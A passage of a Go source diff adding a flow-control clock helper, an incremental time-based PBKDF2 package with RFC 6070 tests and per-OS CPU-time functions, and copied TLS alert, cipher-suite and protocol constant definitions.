want := []Status{
Status{true, start, _400ms, 0, 80, 4, 200, 200, 200, 200, 20, _100ms, 80000},
Status{true, start, _500ms, _100ms, 100, 5, 200, 200, 200, 200, 0, 0, 100000},
}
for i, s := range status {
if !reflect.DeepEqual(&s, &want[i]) {
t.Errorf("w.Status(%v) expected %v; got %v", i, want[i], s)
}
}
if !bytes.Equal(b, w.Writer.(*bytes.Buffer).Bytes()) {
t.Errorf("w.Write() input doesn't match output")
}
}
@@ -0,0 +1,67 @@
//
// Written by Maxim Khitrov (November 2012)
//
package flowcontrol
import (
"math"
"strconv"
"time"
)
// clockRate is the resolution and precision of clock().
const clockRate = 20 * time.Millisecond
// czero is the process start time rounded down to the nearest clockRate
// increment.
var czero = time.Duration(time.Now().UnixNano()) / clockRate * clockRate
// clock returns a low resolution timestamp relative to the process start time.
func clock() time.Duration {
return time.Duration(time.Now().UnixNano())/clockRate*clockRate - czero
}
// clockToTime converts a clock() timestamp to an absolute time.Time value.
func clockToTime(c time.Duration) time.Time {
return time.Unix(0, int64(czero+c))
}
// clockRound returns d rounded to the nearest clockRate increment.
func clockRound(d time.Duration) time.Duration {
return (d + clockRate>>1) / clockRate * clockRate
}
// round returns x rounded to the nearest int64 (non-negative values only).
func round(x float64) int64 {
if _, frac := math.Modf(x); frac >= 0.5 {
return int64(math.Ceil(x))
}
return int64(math.Floor(x))
}
// Percent represents a percentage in increments of 1/1000th of a percent.
type Percent uint32
// percentOf calculates what percent of the total is x.
func percentOf(x, total float64) Percent {
if x < 0 || total <= 0 {
return 0
} else if p := round(x / total * 1e5); p <= math.MaxUint32 {
return Percent(p)
}
return Percent(math.MaxUint32)
}
func (p Percent) Float() float64 {
return float64(p) * 1e-3
}
func (p Percent) String() string {
var buf [12]byte
b := strconv.AppendUint(buf[:0], uint64(p)/1000, 10)
n := len(b)
b = strconv.AppendUint(b, 1000+uint64(p)%1000, 10)
b[n] = '.'
return string(append(b, '%'))
}
@@ -0,0 +1,219 @@
//
// Written by Maxim Khitrov (October 2012)
//
/*
Package pbkdf2 provides an incremental version of the PBKDF2 key derivation
algorithm, as described in RFC 2898.
Password-Based Key Derivation Function 2 derives cryptographic keys of a
specified length from the provided password and salt values. The derivation is
performed by a CPU-bound loop, with the iteration count specified as one of the
function parameters. The higher the iteration count, the more difficult (time
consuming) it is for an attacker to brute-force the password/salt combination.
An incremental PBKDF2 implementation allows the key derivation loop to resume
execution from its previous state. This allows the user to derive keys after
1000 and 2000 iterations, for example, without having to recompute the first
1000 iterations twice. The package uses this feature to implement time-based key
derivation functions (see Derive and Search methods), which gradually increment
the iteration count until the time limit is reached.
*/
package pbkdf2
import (
"crypto/hmac"
"errors"
"hash"
"runtime"
"time"
)
// precision determines the timing accuracy of Derive and Search methods by
// varying the exponential growth rate of the iteration count. The derivation
// begins with 1024 iterations and the count is incremented exponentially at the
// rate of 1/(2^precision). The minimum precision is 0 (100% growth rate) and
// the maximum is 10 (0.1% growth rate). The theoretical timing error is plus or
// minus timelimit*rate/(rate+2).
//
// A higher precision results in more accurate timing, but at the expense of
// having to make many additional calls to the callback function when searching
// for a previously derived key. A precision of 4 (6.25%) is a good compromise,
// which covers 2^32 iterations in 252 steps with a timing error of 3%.
const precision = 4
// KeyFound is returned by the PBKDF2.Search callback function to indicate that
// the correct key was found.
var KeyFound = errors.New("pbkdf2: key found")
// ErrTimeout is returned by PBKDF2.Search when a valid key is not found in the
// allocated time.
var ErrTimeout = errors.New("pbkdf2: key search timeout")
// Key derives a key from the password, salt, and iteration count, returning a
// []byte of length dkLen that can be used as cryptographic key. This function
// provides compatibility with the go.crypto/pbkdf2 package.
func Key(pass, salt []byte, iter, dkLen int, h func() hash.Hash) []byte {
return New(pass, salt, dkLen, h).Next(iter)
}
type PBKDF2 struct {
prf hash.Hash // HMAC
dkLen int // Key length returned by key derivation methods
salt []byte // Salt value used in the first iteration
t []byte // Current T values (len >= dkLen, multiple of prf.Size())
u []byte // Current U values (same len as t)
iters int // Current iteration count
}
// New returns a new PBKDF2 state initialized to zero iterations.
func New(pass, salt []byte, dkLen int, h func() hash.Hash) *PBKDF2 {
return &PBKDF2{prf: hmac.New(h, pass), dkLen: dkLen, salt: dup(salt)}
}
// Derive derives a new key in time d.
func (kdf *PBKDF2) Derive(d time.Duration) []byte {
dk, _ := kdf.derive(d, precision, func([]byte) error { return nil })
return dk
}
// Search tries to find a previously derived key. The callback function f is
// used to test the current key after each step in the derivation process. This
// test must be reasonably fast to maintain accurate derivation timing. The
// search stops when f returns a non-nil error or the time limit is reached. The
// correct key is found when f returns KeyFound.
//
// As a general rule, Search should be given more time than Derive, especially
// if the two operations are being performed on different computers. If Derive
// was given 1 second, a reasonable limit for Search is 3 to 5 seconds.
func (kdf *PBKDF2) Search(d time.Duration, f func(dk []byte) error) (dk []byte, err error) {
if dk, err = kdf.derive(d, precision, f); err == KeyFound {
err = nil
} else {
dk = nil
if err == nil {
err = ErrTimeout
}
}
return
}
// Next runs the key derivation algorithm for c additional iterations and
// returns a copy of the new key.
func (kdf *PBKDF2) Next(c int) []byte {
if c <= 0 {
panic("pbkdf2: invalid iteration count")
}
prf := kdf.prf
hLen := prf.Size()
if kdf.iters == 0 {
n := (kdf.dkLen + hLen - 1) / hLen
t := make([]byte, 0, 2*n*hLen)
for i := 1; i <= n; i++ {
prf.Reset()
prf.Write(kdf.salt)
prf.Write([]byte{byte(i >> 24), byte(i >> 16), byte(i >> 8), byte(i)})
t = prf.Sum(t)
}
kdf.t, kdf.u = t, t[len(t):cap(t)]
copy(kdf.u, kdf.t)
c--
kdf.iters = 1
}
t, u := kdf.t, kdf.u
for i := 0; i < c; i++ {
for j := 0; j < len(u); j += hLen {
prf.Reset()
prf.Write(u[j : j+hLen])
prf.Sum(u[:j])
}
for j, v := range u {
t[j] ^= v
}
}
kdf.iters += c
return dup(t[:kdf.dkLen])
}
// Salt returns a copy of the current salt value.
func (kdf *PBKDF2) Salt() []byte {
return dup(kdf.salt)
}
// Size returns the derived key size.
func (kdf *PBKDF2) Size() int {
return kdf.dkLen
}
// Iters returns the total number of iterations performed so far.
func (kdf *PBKDF2) Iters() int {
return kdf.iters
}
// Reset returns kdf to the initial state at zero iterations. Salt and dkLen
// parameters for subsequent iterations can be changed by passing non-nil and
// non-zero values, respectively.
func (kdf *PBKDF2) Reset(salt []byte, dkLen int) {
if dkLen > 0 {
kdf.dkLen = dkLen
}
if salt != nil {
kdf.salt = dup(salt)
}
kdf.t = nil
kdf.u = nil
kdf.iters = 0
}
// derive performs time-based key derivation.
func (kdf *PBKDF2) derive(d time.Duration, p uint, f func(dk []byte) error) (dk []byte, err error) {
if p > 10 {
panic("pbkdf2: invalid derivation precision")
}
kdf.Reset(nil, 0)
ch := make(chan struct{})
go func() {
defer close(ch)
runtime.LockOSThread()
r := 1.0 / float64(uint(1)<<p)
d -= time.Duration(float64(d) * r / (r + 2))
t := timer{time.Now(), utime()}
dk = kdf.Next(1024)
for {
if err = f(dk); err != nil || t.elapsed(d) {
return
}
dk = kdf.Next(kdf.iters >> p)
}
}()
<-ch
return
}
type timer struct {
wall time.Time
user time.Duration
}
// elapsed returns true when time d has elapsed from the point when the timer
// was created. Timing is done according to the user CPU time of the current
// thread with the wall clock time acting as a backup. Systems that don't
// provide per-thread timing information use the process CPU time instead. The
// wall clock time defines lower (d) and upper (2*d) limits as a workaround for
// inaccurate CPU time accounting on some systems (e.g. Windows).
func (t *timer) elapsed(d time.Duration) bool {
wall := time.Since(t.wall)
emin := wall >= d
if emin && wall < d<<1 {
return utime()-t.user >= d
}
return emin
}
func dup(b []byte) []byte {
t := make([]byte, len(b))
copy(t, b)
return t
}
@@ -0,0 +1,85 @@
//
// Written by Maxim Khitrov (October 2012)
//
package pbkdf2
import (
"bytes"
"crypto/sha1"
"crypto/sha256"
"fmt"
"testing"
"time"
)
func TestRFC6070(t *testing.T) {
tests := []struct {
P, S string
c []int
dkLen int
out string
}{
{"password", "salt", []int{1}, 20,
"0c 60 c8 0f 96 1f 0e 71 f3 a9 b5 24 af 60 12 06 2f e0 37 a6"},
{"password", "salt", []int{2}, 20,
"ea 6c 01 4d c7 2d 6f 8c cd 1e d9 2a ce 1d 41 f0 d8 de 89 57"},
{"password", "salt", []int{1, 1}, 20,
"ea 6c 01 4d c7 2d 6f 8c cd 1e d9 2a ce 1d 41 f0 d8 de 89 57"},
{"password", "salt", []int{4096}, 20,
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
{"password", "salt", []int{1, 4095}, 20,
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
{"password", "salt", []int{2048, 2048}, 20,
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
{"password", "salt", []int{4095, 1}, 20,
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
{"password", "salt", []int{1, 4094, 1}, 20,
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
//{"password", "salt", []int{16777216}, 20,
// "ee fe 3d 61 cd 4d a4 e4 e9 94 5b 3d 6b a2 15 8c 26 34 e9 84"},
{"passwordPASSWORDpassword", "saltSALTsaltSALTsaltSALTsaltSALTsalt", []int{4096}, 25,
"3d 2e ec 4f e4 1c 84 9b 80 c8 d8 36 62 c0 e4 4a 8b 29 1a 96 4c f2 f0 70 38"},
{"pass\x00word", "sa\x00lt", []int{4096}, 16,
"56 fa 6a a7 55 48 09 9d cc 37 d7 f0 34 25 e0 c3"},
}
var dk []byte
for _, test := range tests {
kdf := New([]byte(test.P), []byte(test.S), test.dkLen, sha1.New)
for _, c := range test.c {
dk = kdf.Next(c)
}
if out := fmt.Sprintf("% x", dk); out != test.out {
t.Errorf("kdf.Next() expected %q; got %q", test.out, out)
}
}
}
func TestKeyGen(t *testing.T) {
kdf := New([]byte("pass"), []byte("salt"), 10, sha256.New)
key := kdf.Derive(100 * time.Millisecond)
itr := kdf.Iters()
tryKey := func(dk []byte) error {
if bytes.Equal(dk, key) {
return KeyFound
}
return nil
}
d := 10 * time.Millisecond
dk, err := kdf.Search(d, tryKey)
if dk != nil || err != ErrTimeout {
t.Errorf("kdf.Search(%v) expected ErrTimeout; got % x (%v)", d, dk, err)
}
d = 200 * time.Millisecond
dk, err = kdf.Search(d, tryKey)
if !bytes.Equal(dk, key) || err != nil {
t.Errorf("kdf.Search(%v) expected % x; got % x (%v)", d, key, dk, err)
}
if kdf.Iters() != itr {
t.Errorf("kdf.Iters() expected %v; got %v", itr, kdf.Iters())
}
}
@@ -0,0 +1,20 @@
//
// Written by Maxim Khitrov (October 2012)
//
// +build !freebsd,!linux,!windows
package pbkdf2
import (
"syscall"
"time"
)
func utime() time.Duration {
var u syscall.Rusage
if err := syscall.Getrusage(syscall.RUSAGE_SELF, &u); err != nil {
panic(err)
}
return time.Duration(u.Utime.Nano())
}
@@ -0,0 +1,29 @@
//
// Written by Maxim Khitrov (October 2012)
//
// +build freebsd linux
package pbkdf2
import (
"syscall"
"time"
)
var getrusage_who = syscall.RUSAGE_THREAD
func init() {
var u syscall.Rusage
if syscall.Getrusage(getrusage_who, &u) == syscall.EINVAL {
getrusage_who = syscall.RUSAGE_SELF
}
}
func utime() time.Duration {
var u syscall.Rusage
if err := syscall.Getrusage(getrusage_who, &u); err != nil {
panic(err)
}
return time.Duration(u.Utime.Nano())
}
@@ -0,0 +1,64 @@
//
// Written by Maxim Khitrov (October 2012)
//
package pbkdf2
import (
"syscall"
"time"
"unsafe"
)
/*
Note: GetThreadTimes function may return inaccurate values when the calling
thread is frequently interrupted prior to consuming all of its quantum. This
shouldn't be a huge problem for PBKDF2 calculation since it doesn't enter any
wait states, but some additional testing in high-load situations is needed.
http://blog.kalmbachnet.de/?postid=28
http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-10/0689.html
*/
var (
modkernel32 = syscall.MustLoadDLL("kernel32.dll")
procGetCurrentThread = modkernel32.MustFindProc("GetCurrentThread")
procGetThreadTimes = modkernel32.MustFindProc("GetThreadTimes")
)
func utime() time.Duration {
var u syscall.Rusage
h, _ := getCurrentThread()
err := getThreadTimes(h, &u.CreationTime, &u.ExitTime, &u.KernelTime, &u.UserTime)
if err != nil {
panic(err)
}
t := uint64(u.UserTime.HighDateTime)<<32 | uint64(u.UserTime.LowDateTime)
return time.Duration(t * 100)
}
func getCurrentThread() (pseudoHandle syscall.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetCurrentThread.Addr(), 0, 0, 0, 0)
pseudoHandle = syscall.Handle(r0)
if pseudoHandle == 0 {
if e1 != 0 {
err = error(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func getThreadTimes(handle syscall.Handle, creationTime, exitTime, kernelTime, userTime *syscall.Filetime) (err error) {
r1, _, e1 := syscall.Syscall6(procGetThreadTimes.Addr(), 5, uintptr(handle), uintptr(unsafe.Pointer(creationTime)), uintptr(unsafe.Pointer(exitTime)), uintptr(unsafe.Pointer(kernelTime)), uintptr(unsafe.Pointer(userTime)), 0)
if int(r1) == 0 {
if e1 != 0 {
err = error(e1)
} else {
err = syscall.EINVAL
}
}
return
}
@@ -0,0 +1,77 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import "strconv"
type alert uint8
const (
// alert level
alertLevelWarning = 1
alertLevelError = 2
)
const (
alertCloseNotify alert = 0
alertUnexpectedMessage alert = 10
alertBadRecordMAC alert = 20
alertDecryptionFailed alert = 21
alertRecordOverflow alert = 22
alertDecompressionFailure alert = 30
alertHandshakeFailure alert = 40
alertBadCertificate alert = 42
alertUnsupportedCertificate alert = 43
alertCertificateRevoked alert = 44
alertCertificateExpired alert = 45
alertCertificateUnknown alert = 46
alertIllegalParameter alert = 47
alertUnknownCA alert = 48
alertAccessDenied alert = 49
alertDecodeError alert = 50
alertDecryptError alert = 51
alertProtocolVersion alert = 70
alertInsufficientSecurity alert = 71
alertInternalError alert = 80
alertUserCanceled alert = 90
alertNoRenegotiation alert = 100
)
var alertText = map[alert]string{
alertCloseNotify: "close notify",
alertUnexpectedMessage: "unexpected message",
alertBadRecordMAC: "bad record MAC",
alertDecryptionFailed: "decryption failed",
alertRecordOverflow: "record overflow",
alertDecompressionFailure: "decompression failure",
alertHandshakeFailure: "handshake failure",
alertBadCertificate: "bad certificate",
alertUnsupportedCertificate: "unsupported certificate",
alertCertificateRevoked: "revoked certificate",
alertCertificateExpired: "expired certificate",
alertCertificateUnknown: "unknown certificate",
alertIllegalParameter: "illegal parameter",
alertUnknownCA: "unknown certificate authority",
alertAccessDenied: "access denied",
alertDecodeError: "error decoding message",
alertDecryptError: "error decrypting message",
alertProtocolVersion: "protocol version not supported",
alertInsufficientSecurity: "insufficient security level",
alertInternalError: "internal error",
alertUserCanceled: "user canceled",
alertNoRenegotiation: "no renegotiation",
}
func (e alert) String() string {
s, ok := alertText[e]
if ok {
return s
}
return "alert(" + strconv.Itoa(int(e)) + ")"
}
func (e alert) Error() string {
return e.String()
}
@@ -0,0 +1,270 @@
// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/des"
"crypto/hmac"
"crypto/rc4"
"crypto/sha1"
"crypto/x509"
"hash"
)
// a keyAgreement implements the client and server side of a TLS key agreement
// protocol by generating and processing key exchange messages.
type keyAgreement interface {
// On the server side, the first two methods are called in order.
// In the case that the key agreement protocol doesn't use a
// ServerKeyExchange message, generateServerKeyExchange can return nil,
// nil.
generateServerKeyExchange(*Config, *Certificate, *clientHelloMsg, *serverHelloMsg) (*serverKeyExchangeMsg, error)
processClientKeyExchange(*Config, *Certificate, *clientKeyExchangeMsg, uint16) ([]byte, error)
// On the client side, the next two methods are called in order.
// This method may not be called if the server doesn't send a
// ServerKeyExchange message.
processServerKeyExchange(*Config, *clientHelloMsg, *serverHelloMsg, *x509.Certificate, *serverKeyExchangeMsg) error
generateClientKeyExchange(*Config, *clientHelloMsg, *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error)
}
const (
// suiteECDH indicates that the cipher suite involves elliptic curve
// Diffie-Hellman. This means that it should only be selected when the
// client indicates that it supports ECC with a curve and point format
// that we're happy with.
suiteECDHE = 1 << iota
// suiteECDSA indicates that the cipher suite involves an ECDSA
// signature and therefore may only be selected when the server's
// certificate is ECDSA. If this is not set then the cipher suite is
// RSA based.
suiteECDSA
// suiteTLS12 indicates that the cipher suite should only be advertised
// and accepted when using TLS 1.2.
suiteTLS12
)
// A cipherSuite is a specific combination of key agreement, cipher and MAC
// function. All cipher suites currently assume RSA key agreement.
type cipherSuite struct {
id uint16
// the lengths, in bytes, of the key material needed for each component.
keyLen int
macLen int
ivLen int
ka func(version uint16) keyAgreement
// flags is a bitmask of the suite* values, above.
flags int
cipher func(key, iv []byte, isRead bool) interface{}
mac func(version uint16, macKey []byte) macFunction
aead func(key, fixedNonce []byte) cipher.AEAD
}
var cipherSuites = []*cipherSuite{
// Ciphersuite order is chosen so that ECDHE comes before plain RSA
// and RC4 comes before AES (because of the Lucky13 attack).
{TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadAESGCM},
{TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECDSA | suiteTLS12, nil, nil, aeadAESGCM},
{TLS_ECDHE_RSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheRSAKA, suiteECDHE, cipherRC4, macSHA1, nil},
{TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheECDSAKA, suiteECDHE | suiteECDSA, cipherRC4, macSHA1, nil},
{TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil},
{TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECDSA, cipherAES, macSHA1, nil},
{TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil},
{TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECDSA, cipherAES, macSHA1, nil},
{TLS_RSA_WITH_RC4_128_SHA, 16, 20, 0, rsaKA, 0, cipherRC4, macSHA1, nil},
{TLS_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil},
{TLS_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil},
{TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, ecdheRSAKA, suiteECDHE, cipher3DES, macSHA1, nil},
{TLS_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, rsaKA, 0, cipher3DES, macSHA1, nil},
}
func cipherRC4(key, iv []byte, isRead bool) interface{} {
cipher, _ := rc4.NewCipher(key)
return cipher
}
func cipher3DES(key, iv []byte, isRead bool) interface{} {
block, _ := des.NewTripleDESCipher(key)
if isRead {
return cipher.NewCBCDecrypter(block, iv)
}
return cipher.NewCBCEncrypter(block, iv)
}
func cipherAES(key, iv []byte, isRead bool) interface{} {
block, _ := aes.NewCipher(key)
if isRead {
return cipher.NewCBCDecrypter(block, iv)
}
return cipher.NewCBCEncrypter(block, iv)
}
// macSHA1 returns a macFunction for the given protocol version.
func macSHA1(version uint16, key []byte) macFunction {
if version == VersionSSL30 {
mac := ssl30MAC{
h: sha1.New(),
key: make([]byte, len(key)),
}
copy(mac.key, key)
return mac
}
return tls10MAC{hmac.New(sha1.New, key)}
}
type macFunction interface {
Size() int
MAC(digestBuf, seq, header, data []byte) []byte
}
// fixedNonceAEAD wraps an AEAD and prefixes a fixed portion of the nonce to
// each call.
type fixedNonceAEAD struct {
// sealNonce and openNonce are buffers where the larger nonce will be
// constructed. Since a seal and open operation may be running
// concurrently, there is a separate buffer for each.
sealNonce, openNonce []byte
aead cipher.AEAD
}
func (f *fixedNonceAEAD) NonceSize() int { return 8 }
func (f *fixedNonceAEAD) Overhead() int { return f.aead.Overhead() }
func (f *fixedNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte {
copy(f.sealNonce[len(f.sealNonce)-8:], nonce)
return f.aead.Seal(out, f.sealNonce, plaintext, additionalData)
}
func (f *fixedNonceAEAD) Open(out, nonce, plaintext, additionalData []byte) ([]byte, error) {
copy(f.openNonce[len(f.openNonce)-8:], nonce)
return f.aead.Open(out, f.openNonce, plaintext, additionalData)
}
func aeadAESGCM(key, fixedNonce []byte) cipher.AEAD {
aes, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
aead, err := cipher.NewGCM(aes)
if err != nil {
panic(err)
}
nonce1, nonce2 := make([]byte, 12), make([]byte, 12)
copy(nonce1, fixedNonce)
copy(nonce2, fixedNonce)
return &fixedNonceAEAD{nonce1, nonce2, aead}
}
// ssl30MAC implements the SSLv3 MAC function, as defined in
// www.mozilla.org/projects/security/pki/nss/ssl/draft302.txt section 5.2.3.1
type ssl30MAC struct {
h hash.Hash
key []byte
}
func (s ssl30MAC) Size() int {
return s.h.Size()
}
var ssl30Pad1 = [48]byte{0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36}
var ssl30Pad2 = [48]byte{0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c}
func (s ssl30MAC) MAC(digestBuf, seq, header, data []byte) []byte {
padLength := 48
if s.h.Size() == 20 {
padLength = 40
}
s.h.Reset()
s.h.Write(s.key)
s.h.Write(ssl30Pad1[:padLength])
s.h.Write(seq)
s.h.Write(header[:1])
s.h.Write(header[3:5])
s.h.Write(data)
digestBuf = s.h.Sum(digestBuf[:0])
s.h.Reset()
s.h.Write(s.key)
s.h.Write(ssl30Pad2[:padLength])
s.h.Write(digestBuf)
return s.h.Sum(digestBuf[:0])
}
// tls10MAC implements the TLS 1.0 MAC function. RFC 2246, section 6.2.3.
type tls10MAC struct {
h hash.Hash
}
func (s tls10MAC) Size() int {
return s.h.Size()
}
func (s tls10MAC) MAC(digestBuf, seq, header, data []byte) []byte {
s.h.Reset()
s.h.Write(seq)
s.h.Write(header)
s.h.Write(data)
return s.h.Sum(digestBuf[:0])
}
func rsaKA(version uint16) keyAgreement {
return rsaKeyAgreement{}
}
func ecdheECDSAKA(version uint16) keyAgreement {
return &ecdheKeyAgreement{
sigType: signatureECDSA,
version: version,
}
}
func ecdheRSAKA(version uint16) keyAgreement {
return &ecdheKeyAgreement{
sigType: signatureRSA,
version: version,
}
}
// mutualCipherSuite returns a cipherSuite given a list of supported
// ciphersuites and the id requested by the peer.
func mutualCipherSuite(have []uint16, want uint16) *cipherSuite {
for _, id := range have {
if id == want {
for _, suite := range cipherSuites {
if suite.id == want {
return suite
}
}
return nil
}
}
return nil
}
// A list of the possible cipher suite ids. Taken from
// http://www.iana.org/assignments/tls-parameters/tls-parameters.xml
const (
TLS_RSA_WITH_RC4_128_SHA uint16 = 0x0005
TLS_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x000a
TLS_RSA_WITH_AES_128_CBC_SHA uint16 = 0x002f
TLS_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0035
TLS_ECDHE_ECDSA_WITH_RC4_128_SHA uint16 = 0xc007
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xc009
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xc00a
TLS_ECDHE_RSA_WITH_RC4_128_SHA uint16 = 0xc011
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xc012
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0xc013
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0xc014
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02f
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02b
)
@@ -0,0 +1,437 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"crypto"
"crypto/rand"
"crypto/x509"
"io"
"math/big"
"strings"
"sync"
"time"
)
const (
VersionSSL30 = 0x0300
VersionTLS10 = 0x0301
VersionTLS11 = 0x0302
VersionTLS12 = 0x0303
)
const (
maxPlaintext = 16384 // maximum plaintext payload length
maxCiphertext = 16384 + 2048 // maximum ciphertext payload length
recordHeaderLen = 5 // record header length
maxHandshake = 65536 // maximum handshake we support (protocol max is 16 MB)
minVersion = VersionSSL30
maxVersion = VersionTLS12
)
// TLS record types.
type recordType uint8
const (
recordTypeChangeCipherSpec recordType = 20
recordTypeAlert recordType = 21
recordTypeHandshake recordType = 22
recordTypeApplicationData recordType = 23
)
// TLS handshake message types.
const (
typeClientHello uint8 = 1
typeServerHello uint8 = 2
typeNewSessionTicket uint8 = 4
typeCertificate uint8 = 11
typeServerKeyExchange uint8 = 12
typeCertificateRequest uint8 = 13
typeServerHelloDone uint8 = 14
typeCertificateVerify uint8 = 15
typeClientKeyExchange uint8 = 16
typeFinished uint8 = 20
typeCertificateStatus uint8 = 22
typeNextProtocol uint8 = 67 // Not IANA assigned
)
// TLS compression types.
const (
compressionNone uint8 = 0
)
// TLS extension numbers
var (
extensionServerName uint16 = 0
extensionStatusRequest uint16 = 5
extensionSupportedCurves uint16 = 10
extensionSupportedPoints uint16 = 11
extensionSignatureAlgorithms uint16 = 13
extensionSessionTicket uint16 = 35
extensionNextProtoNeg uint16 = 13172 // not IANA assigned
)
// TLS Elliptic Curves
// http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8
var (
curveP256 uint16 = 23
curveP384 uint16 = 24
curveP521 uint16 = 25
)
// TLS Elliptic Curve Point Formats
// http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-9
var (
pointFormatUncompressed uint8 = 0
)
// TLS CertificateStatusType (RFC 3546)
const (
statusTypeOCSP uint8 = 1
)
// Certificate types (for certificateRequestMsg)
const (
certTypeRSASign = 1 // A certificate containing an RSA key
certTypeDSSSign = 2 // A certificate containing a DSA key
certTypeRSAFixedDH = 3 // A certificate containing a static DH key
certTypeDSSFixedDH = 4 // A certificate containing a static DH key
// See RFC4492 sections 3 and 5.5.
certTypeECDSASign = 64 // A certificate containing an ECDSA-capable public key, signed with ECDSA.
certTypeRSAFixedECDH = 65 // A certificate containing an ECDH-capable public key, signed with RSA.
certTypeECDSAFixedECDH = 66 // A certificate containing an ECDH-capable public key, signed with ECDSA.
// Rest of these are reserved by the TLS spec
)
// Hash functions for TLS 1.2 (See RFC 5246, section A.4.1)
const (
hashSHA1 uint8 = 2
hashSHA256 uint8 = 4
)
// Signature algorithms for TLS 1.2 (See RFC 5246, section A.4.1)
const (
signatureRSA uint8 = 1
signatureECDSA uint8 = 3
)
// signatureAndHash mirrors the TLS 1.2, SignatureAndHashAlgorithm struct. See
// RFC 5246, section A.4.1.
type signatureAndHash struct {
hash, signature uint8
}
// supportedSKXSignatureAlgorithms contains the signature and hash algorithms
// that the code advertises as supported in a TLS 1.2 ClientHello.
var supportedSKXSignatureAlgorithms = []signatureAndHash{
{hashSHA256, signatureRSA},
{hashSHA256, signatureECDSA},
{hashSHA1, signatureRSA},
{hashSHA1, signatureECDSA},
}
// supportedClientCertSignatureAlgorithms contains the signature and hash
// algorithms that the code advertises as supported in a TLS 1.2
// CertificateRequest.
var supportedClientCertSignatureAlgorithms = []signatureAndHash{
{hashSHA256, signatureRSA},
{hashSHA256, signatureECDSA},
}
// ConnectionState records basic TLS details about the connection.
type ConnectionState struct {
HandshakeComplete bool // TLS handshake is complete
DidResume bool // connection resumes a previous TLS connection
CipherSuite uint16 // cipher suite in use (TLS_RSA_WITH_RC4_128_SHA, ...)
NegotiatedProtocol string // negotiated next protocol (from Config.NextProtos)
NegotiatedProtocolIsMutual bool // negotiated protocol was advertised by server
ServerName string // server name requested by client, if any (server side only)
PeerCertificates []*x509.Certificate // certificate chain presented by remote peer
VerifiedChains [][]*x509.Certificate // verified chains built from PeerCertificates
}
// ClientAuthType declares the policy the server will follow for
// TLS Client Authentication.
type ClientAuthType int
const (
NoClientCert ClientAuthType = iota
RequestClientCert
RequireAnyClientCert
VerifyClientCertIfGiven
RequireAndVerifyClientCert
)
// A Config structure is used to configure a TLS client or server. After one
// has been passed to a TLS function it must not be modified.
